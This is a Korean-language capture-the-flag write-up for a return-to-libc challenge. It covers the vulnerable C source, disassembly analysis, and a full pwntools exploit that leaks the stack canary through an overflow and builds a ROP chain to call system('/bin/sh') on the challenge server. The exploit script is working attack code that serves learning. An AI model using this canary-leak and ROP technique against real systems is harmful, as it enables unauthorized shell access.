Return to Library
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
system()
가 호출됐다. 따라서 system() PLT
를 이용할 수 있다. 또한 "/bin/sh"
도 변수로 선언되면서 데이터 섹션에 저장됐다.
주어진 조건을 이용해서 system("/bin/sh")
를 실행하는 payload를 작성해보자.
canary부터 구해보자.
pwndbg> disass main
Dump of assembler code for function main:
0x00000000004006f7 <+0>: push rbp
0x00000000004006f8 <+1>: mov rbp,rsp
0x00000000004006fb <+4>: sub rsp,0x40
0x00000000004006ff <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000400708 <+17>: mov QWORD PTR [rbp-0x8],rax
0x000000000040070c <+21>: xor eax,eax
0x000000000040070e <+23>: mov rax,QWORD PTR [rip+0x20095b]
[rbp-0x8]
에 canary가 저장되는 것을 확인할 수 있다. (+8, +17)
0x0000000000400783 <+140>: call 0x4005f0 <read@plt>
0x0000000000400788 <+145>: lea rax,[rbp-0x40]
0x000000000040078c <+149>: mov rsi,rax
0x000000000040078f <+152>: mov edi,0x4008a3
0x0000000000400794 <+157>: mov eax,0x0
<main+149>
에서 read()
의 2번째 인자인 rsi에 rax를 저장하는 것을 볼 수 있다. <main+145>
에서는 [rbp-0x40]
을 rax에 저장하고 있고 [rbp-0x40]
을 2번째 인자로 사용한다는 것을 알 수 있다.
read(0, buf, 0x100);
read()
의 2번째 인자는 buf
주소다.
즉, [rbp-0x40] == buf
다.
여기서 read()
함수 2번째 인자가 rsi인 이유는 x64 함수 호출 규약
에 대해서 학습하면 이해할 수 있다.
char buf[0x30];
...
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
데이터를 입력하고 출력해서 확인할 수 있는 로직이 있다.
buf의 크기보다 많이 입력할 수 있는 상황이므로 BOF가 발생하고 메모리 릭 취약점으로 연계할 수 있다.
이 부분을 이용해서 canary를 구하자.
# canary leak
p.recvuntil("Buf: ")
leak_payload = b"\x90"*56 + b"A"
p.send(leak_payload)
p.recvuntil("A")
canary = u64(b'\x00' + p.recvn(7))
log("canary",canary)
canary를 획득하는 코드다.
0x40 - 0x8 = 0x38 = 56
이므로 dummy를 56바이트 payload에 넣었다.
"A"
를 추가한 이유는 canary의 첫 값이 0x00
이기 때문이다. printf()
의 특성상 \x00까지만 데이터를 읽기 때문에 해당 데이터를 덮지 않으면 나머지 canary를 출력하지 않는다.
└─# python rtl.py
[+] Opening connection to host3.dreamhack.games on port 9532: Done
[*] '/root/dream/rtl/rtl'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 14 cached gadgets for './rtl'
[+] canary: 0xbfe21a8bdf26600
실행 결과로 canary가 출력된 것을 확인할 수 있다.
다음으로 ROP 공격을 진행해보자.
“/bin/sh”와 system() PLT
주소를 이용해서 ROP 체인을 구성하면 exploit 할 수 있다.
ROP payload는 다음과 같다.
- 정상적인 스택
[buf 64 바이트] + [SFP 8바이트] + [RET]
- payload로 overwrite할 스택
[dummy 56 바이트] + [canary 8바이트] + [dummy 8바이트] + [ret 가젯] + [pop rdi ; ret 가젯] + ["/bin/sh"] + [system() PLT 주소]
canary를 제외한 모든 공간을 dummy로 덮는다.
RET은 ret 가젯
으로 덮고 다음 가젯이 실행되도록 한다.
이후에는 pop rdi ; ret
가젯으로 "/bin/sh"
를 rdi에 넣고 system("/bin/sh")
가 실행되도록 한다.
"/bin/sh"
를 rdi에 넣는 이유는 x64 운영체제에서 1번째 인자를 담당하는 레지스터가 rdi이기 때문이다.
payload를 작성하려면 2가지 주소를 구해야 한다.
"/bin/sh", "system() PLT"
필요한 주소는 pwntools에서 제공하는 plt()
, search()
함수를 이용해서 쉽게 구할 수 있다.
exploit
from pwn import *
import warnings
warnings.filterwarnings("ignore")
def log(a, b):
return success(f"{a}: {hex(b)}")
# connect process
p = remote("host3.dreamhack.games", 19152)
e = ELF("./rtl")
r = ROP(e)
# canary leak
p.recvuntil("Buf: ")
leak_payload = b"\x90"*56 + b"A"
p.send(leak_payload)
p.recvuntil("A")
canary = u64(b'\x00' + p.recvn(7))
log("canary",canary)
# system() & "/bin/sh" addr
system_plt = e.plt['system']
bin_sh = next(e.search(b'/bin/sh'))
# ROP gadget addr
ret = r.find_gadget(['ret'])[0]
pop_rdi_ret = r.find_gadget(['pop rdi'])[0]
# exploit
payload = b"\x90"*56+p64(canary)
payload += b"\x90"*8+p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(bin_sh)
payload += p64(system_plt)
p.recvuntil("Buf: ")
p.send(payload)
p.interactive()